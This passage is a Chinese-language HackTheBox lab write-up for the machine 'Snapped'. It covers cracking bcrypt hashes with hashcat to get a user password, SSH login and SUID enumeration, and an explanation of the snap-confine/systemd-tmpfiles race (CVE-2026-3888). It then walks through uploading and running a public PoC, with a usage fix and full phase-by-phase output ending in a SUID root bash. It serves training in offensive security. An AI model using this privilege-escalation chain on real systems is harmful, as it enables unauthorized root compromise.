8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm 实际哈希值 包含 22 位 salt + 31 位 hash

建立一个文件存放 Hash:

bash 复制代码
vim hash

写入:

复制代码
$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq

hashcat 进行本地爆破:

bash 复制代码
hashcat hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -m 3200

不久就能跑出:

复制代码
$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark

即用户 jonathan 的明文密码为:linkinpark

但是,admin 用户的 hash 爆破了很久还是没有出来,因为判定题目就是不让你爆破,只让你登入普通账户然后走提权的思路。

八、User Flag

还记得目标是开放着 22 端口的,直接登入:

bash 复制代码
root@htb:~/backup/nginx-ui# ssh jonathan@10.129.45.91
The authenticity of host '10.129.45.91 (10.129.45.91)' can't be established.
ED25519 key fingerprint is SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.45.91' (ED25519) to the list of known hosts.
jonathan@10.129.45.91's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Mar 20 12:27:50 2026 from 10.10.14.5
jonathan@snapped:~$ 

拿到普通用户的 shell,在其家目录中就能找到用户 flag:

九、CVE-2026-3888

接下来就是想如何提权成 root 用户。

查看当前用户有哪些 sudo 权限的命令:

bash 复制代码
jonathan@snapped:~$ cat user.txt 
3d637113e773040f43dfe7ee2db9f800
jonathan@snapped:~$ sudo -l
[sudo] password for jonathan: 
Sorry, user jonathan may not run sudo on snapped.

找不到。

查找有 SUID 且属主为 root 的文件:

bash 复制代码
jonathan@snapped:~$ find / -type f -perm -04000 -ls 2>/dev/null
      293    133 -rwsr-xr-x   1 root     root       135960 Apr 24  2024 /snap/snapd/21759/usr/lib/snapd/snap-confine
      880     72 -rwsr-xr-x   1 root     root        72712 Feb  6  2024 /snap/core22/1564/usr/bin/chfn
      886     44 -rwsr-xr-x   1 root     root        44808 Feb  6  2024 /snap/core22/1564/usr/bin/chsh
      952     71 -rwsr-xr-x   1 root     root        72072 Feb  6  2024 /snap/core22/1564/usr/bin/gpasswd
     1036     47 -rwsr-xr-x   1 root     root        47488 Apr  9  2024 /snap/core22/1564/usr/bin/mount
     1045     40 -rwsr-xr-x   1 root     root        40496 Feb  6  2024 /snap/core22/1564/usr/bin/newgrp
     1060     59 -rwsr-xr-x   1 root     root        59976 Feb  6  2024 /snap/core22/1564/usr/bin/passwd
     1178     55 -rwsr-xr-x   1 root     root        55680 Apr  9  2024 /snap/core22/1564/usr/bin/su
     1179    227 -rwsr-xr-x   1 root     root       232416 Apr  3  2023 /snap/core22/1564/usr/bin/sudo
     1239     35 -rwsr-xr-x   1 root     root        35200 Apr  9  2024 /snap/core22/1564/usr/bin/umount
     1331     35 -rwsr-xr--   1 root     uuidd       35112 Oct 25  2022 /snap/core22/1564/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2600    331 -rwsr-xr-x   1 root     root       338536 Jun 26  2024 /snap/core22/1564/usr/lib/openssh/ssh-keysign
     8626     19 -rwsr-xr-x   1 root     root        18736 Feb 26  2022 /snap/core22/1564/usr/libexec/polkit-agent-helper-1
    27181     64 -rwsr-xr-x   1 root     root        64152 May 30  2024 /usr/bin/passwd
    26576     40 -rwsr-xr-x   1 root     root        39296 Apr  8  2024 /usr/bin/fusermount3
    36279     40 -rwsr-xr-x   1 root     root        39296 Mar  6 11:00 /usr/bin/umount
    72996     16 -rwsr-xr-x   1 root     root        14656 Sep 23  2025 /usr/bin/vmware-user-suid-wrapper
    39252     56 -rwsr-xr-x   1 root     root        55680 Mar  6 11:00 /usr/bin/su
    27092     76 -rwsr-xr-x   1 root     root        76248 May 30  2024 /usr/bin/gpasswd
    26409    272 -rwsr-xr-x   1 root     root       277936 Mar  2 07:56 /usr/bin/sudo
    25924     72 -rwsr-xr-x   1 root     root        72792 May 30  2024 /usr/bin/chfn
    48592     32 -rwsr-xr-x   1 root     root        30952 Dec  2  2024 /usr/bin/pkexec
    26915     44 -rwsr-xr-x   1 root     root        44760 May 30  2024 /usr/bin/chsh
    35539     52 -rwsr-xr-x   1 root     root        51584 Mar  6 11:00 /usr/bin/mount
    27438     40 -rwsr-xr-x   1 root     root        40664 May 30  2024 /usr/bin/newgrp
    72088    336 -rwsr-xr-x   1 root     root       342632 Mar  4 12:55 /usr/lib/openssh/ssh-keysign
    28055     36 -rwsr-xr--   1 root     messagebus    34960 Aug  8  2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    52729     20 -rwsr-xr-x   1 root     root          18736 Dec  2  2024 /usr/lib/polkit-1/polkit-agent-helper-1
    35133    156 -rwsr-xr-x   1 root     root         159016 Aug 20  2024 /usr/lib/snapd/snap-confine
    34789     16 -rwsr-sr-x   1 root     root          14488 Oct 23  2025 /usr/lib/xorg/Xorg.wrap
    42135    412 -rwsr-xr--   1 root     dip          420416 Apr  3  2024 /usr/sbin/pppd

没有常规的 SUID 提权,但是了解 HackTheBox 的应该都知道,靶机的命名是很有讲究的,本靶机的名字叫做 Snapped,因此我们可以重点关注:

bash 复制代码
/snap/snapd/21759/usr/lib/snapd/snap-confine
/usr/lib/snapd/snap-confine

查看当前系统中 Snap 相关组件的版本信息:

bash 复制代码
jonathan@snapped:~$ snap version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
jonathan@snapped:~$ 

搜索提权 CVE:

这里还是提到了之前说的技巧,即引入特殊的信息(snap-confine)。

这个仓库(https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE)中有 Poc,可以直接提权至 root。

先介绍一下这个 CVE,下面是漏洞数据库([NVD - CVE-2026-3888 --- NVD - CVE-2026-3888](https://nvd.nist.gov/vuln/detail/CVE-2026-3888))中的描述:

漏洞出现的原因在于 snap-confinesystemd-tmpfiles 这两个系统组件之间的交互缺陷。

systemd-tmpfiles 会以 root 身份每天运行一次,会自动清理 /tmp 中超过时间阈值的旧文件和目录,具体的时间在配置文件中可以看到:

bash 复制代码
jonathan@snapped:~$ cat /usr/lib/tmpfiles.d/tmp.conf
#  This file is part of systemd.
#
#  systemd is free software; you can redistribute it and/or modify it
#  under the terms of the GNU Lesser General Public License as published by
#  the Free Software Foundation; either version 2.1 of the License, or
#  (at your option) any later version.

# See tmpfiles.d(5) for details

# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 4m
#q /var/tmp 1777 root root 30d

不难发现,靶场为了复现的方便,特意将时间设置成了 4m(4分钟)而不是原本的 30d(30天)。

snap-confine 组件负责为 snap 应用构建沙箱环境,在设置沙箱的时候会在 /tmp/snap-private-tmp/$SNAP/tmp(即沙箱内的 /tmp)下创建 /tmp/.snap 目录(root 所有,mode 0755),用于创建 "mimic"。

什么是 mimic 呢?

snap 沙箱使用 squashfs 作为基础文件系统(部分目录是只读的)。当 snap-confine 需要 bind-mount 某个第三方库目录(如 /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0)时 ,它必须先在只读文件系统上创造一个可写的挂载点(这个创建挂载点的过程就是 mimic)。

就以 /usr/lib/x86_64-linux-gnu 为例子:

首先,/usr/lib/x86_64-linux-gnu,在只读 squashfs 上,不可写。

第一步:将该目录复制到 /tmp/.snap/ 当中作为备份。

bash 复制代码
mount --rbind /usr/lib/x86_64-linux-gnu  /tmp/.snap/usr/lib/x86_64-linux-gnu

第二步:将原始位置覆盖为可写层

bash 复制代码
mount -t tmpfs tmpfs  /usr/lib/x86_64-linux-gnu  -o mode=0755

这会在原始只读位置(/usr/lib/x86_64-linux-gnu)挂上空的、可写的 tmpfs。

第三步:将备份内容回填

bash 复制代码
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/libc.so.6            /usr/lib/x86_64-linux-gnu/libc.so.6
mount --bind /tmp/.snap/usr/lib/x86_64-linux-gnu/libpthread.so.0      /usr/lib/x86_64-linux-gnu/libpthread.so.0
... (逐个 bind-mount 所有文件和子目录)

将第一步中 /tmp/.snap/ 下保存的原始备份内容,逐一 bind-mount 回到新 tmpfs 上的原始位置。

现在得到的效果就是,原始目录中的内容没变,但是有了写权限。

回到 CVE,systemd-tmpfiles/tmp 中的清理是"一视同仁"的,它不知道 /tmp/.snapsnap-confine 的重要性,一旦该目录在 10-30 天内未被访问,就会被自动删除。

而且 /tmp 本身是全局可写的,这也就意味着攻击者也可以在其中重新创建被删除的目录。

问题出现了,时间一到 systemd-tmpfiles/tmp/.snap 清理,攻击者在其中伪造了一个 /tmp/.snap,在名字上确实看不出差别,但是这个目录的权限已经从 root 降为其他权限了(攻击者拥有的权限)。

那么,后续如果 snap-confine 进行了 mimic 操作,攻击者就可以采用竞态条件的方式,/tmp/.snap 中备份的信息进行添加 / 替换操作,在回 mount 的时候,这个被替换 / 添加的文件就会被写入原始路径。

以上就是漏洞的原理,至于 Poc,关键就是确认被替换的文件是什么。

仓库中用到的是 ld-linux-x86-64.so.2,将这个动态链接器替换成了 shellcode。

Linux 上每个动态链接的可执行文件在运行时,内核先加载的不是程序本身,而是动态链接器,由它负责加载所有依赖的 .so 后再把控制权交给程序。

在沙箱内拿到 root 后,把 /bin/bash 复制到 /var/snap/firefox/common/ 并设 SUID,从宿主机执行它来逃逸沙箱,最终获得宿主机的 root shell。

将项目克隆到本地,这个 Poc 也有利用的要求:

首先第一个是 OS Version:

bash 复制代码
jonathan@snapped:~$ cat /etc/issue
Ubuntu 24.04.4 LTS \n \l

刚好是描述中提到的版本之一。

第两点要求我们之前已经验证过了,验证后三点:

bash 复制代码
jonathan@snapped:~$ snap list
Name                       Version          Rev    Tracking         Publisher   Notes
bare                       1.0              5      latest/stable    canonical✓  base
core22                     20240731         1564   latest/stable    canonical✓  base
firefox                    129.0.2-1        4793   latest/stable/...  mozilla✓    -
firmware-updater           0+git.5007558    127    1/stable/...       canonical✓  -
gnome-42-2204              0+git.510a601    176    latest/stable/...  canonical✓  -
gtk-common-themes          0.1-81-g442e511  1535   latest/stable/...  canonical✓  -
snap-store                 0+git.e3dd562    1173   2/stable/...       canonical✓  -
snapd                      2.63             21759  latest/stable    canonical✓  snapd
snapd-desktop-integration  0.9              178    latest/stable/...  canonical✓  -

存在 firefox 和 snap-store。

bash 复制代码
jonathan@snapped:~$ systemctl is-active systemd-tmpfiles-clean.timer
active

确认 systemd-tmpfiles-clean.timer 已经启用。

bash 复制代码
jonathan@snapped:~$ which busybox
/usr/bin/busybox

busybox 也存在目标系统上可用。

然后根据描述:

进行编译文件。

exploit 对应的是 CVE 利用的自动化流程,librootshell.so 就是用于替换的 shellcode

将编译得到的结果上传到目标服务器上:

bash 复制代码
root@htb:~# scp exploit jonathan@10.129.45.91:/tmp/
jonathan@10.129.45.91's password: 
exploit                                                                                                                      100%  827KB   1.3MB/s   00:00    
root@htb:~# scp librootshell.so jonathan@10.129.45.91:/tmp/
jonathan@10.129.45.91's password: 
librootshell.so                                                                                                              100% 9056    63.1KB/s   00:00    

重更登入 jonathan 的账号,并进入 /tmp 目录确认我们上传的文件存在:

复制代码
jonathan@snapped:~$ cd /tmp
jonathan@snapped:/tmp$ ls
dbus-HpDMk1e5Dz
exploit
librootshell.so
nginx-ui-search-index-2039889097
nginx-ui.sock
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-colord.service-B2FuuE
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-fwupd.service-FrAufP
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-ModemManager.service-y0GD7S
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-polkit.service-WmBLmq
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-power-profiles-daemon.service-mOCsYi
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-switcheroo-control.service-hrD0Wa
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-logind.service-UY6kNV
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-oomd.service-7GblbQ
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-resolved.service-bRUFuw
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-systemd-timesyncd.service-DnQ6jL
systemd-private-1cbfbf2facfa4178a39e4b874a93b6df-upower.service-GI7bmc
VMwareDnD
jonathan@snapped:/tmp$ 

按照仓库描述:

没有 root 权限的情况下,直接运行:

bash 复制代码
./exploit ./librootshell.so

但是这有个坑,我们按照这个命令运行的话,看输出日志:

librootshell.so 的路径中多进去一个 ./,这回导致第五阶段的利用失败,因此正确的用法是直接:

bash 复制代码
./exploit librootshell.so

运行 Poc:

注意:这个 Poc 可能需要多次尝试才能成功。

第一阶段,进入沙箱,并获得沙箱的 PID号:

复制代码
jonathan@snapped:/tmp$ ./exploit librootshell.so
================================================================
    CVE-2026-3888 --- snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 22036

第二阶段:

bash 复制代码
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.

等待 systemd-tmpfiles 删除 .snap 目录。

不要被上面的"等待30天"的提示吓到,我们之前确认过,靶机为了方便我们复现,设置成了 4 分钟清理一次。

第三阶段:

bash 复制代码
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_jRogxP//dev: No such file or directory
[+] Namespace destroyed.

会销毁缓存的挂载命名空间(动机:snap-confine 会缓存挂载命名空间,以便在后续启动 snap 时无需重建即可重复使用,如果旧的缓存命名空间仍然存在,snap-confine 将会复用它,并且永远不会从 /tmp/.snap 读取任何内容,这意味着攻击者的恶意目录将被忽略),通过诱发错误,确保下次启动 Snap 时必须从头构建一个全新的命名空间,此时它就会获取攻击者的内容。

第四阶段,竞态条件,写入 .snap 目录并替换动态链接器为 shellcode:

bash 复制代码
[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/22036/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 22366)...

[!]   TRIGGER ? swapping directories...
[+]   SWAP DONE ? race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 22366

后续的几个阶段完成了 shellcode 的执行并进行沙箱逃逸最终获得宿主机的 root shell:

bash 复制代码
[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

简单来讲,snap-confine(SetUID root)将加载伪造的动态加载器即 librootshell.so,该文件会调用 setreuid(0,0) 以及 execve("/tmp/sh")/tmp/sh 脚本使用 busybox/bin/bash 复制到 /var/snap/firefox/common/bash 并为其设置 SetUID root 权限,之所以选择该路径是因为它可在 snap 命名空间内部写入而且主机也能访问,因此命名空间退出后,SUID bash 仍会保留。

这一部分 0xdf 大佬讲得非常好(他分了两个终端来查看文件创建、替换的过程),大家可以去看看他对本题的题解(https://0xdf.gitlab.io/2026/04/01/htb-snapped.html)。

Poc 运行完毕之后,我们就直接获得了 root shell,接着查看 root flag: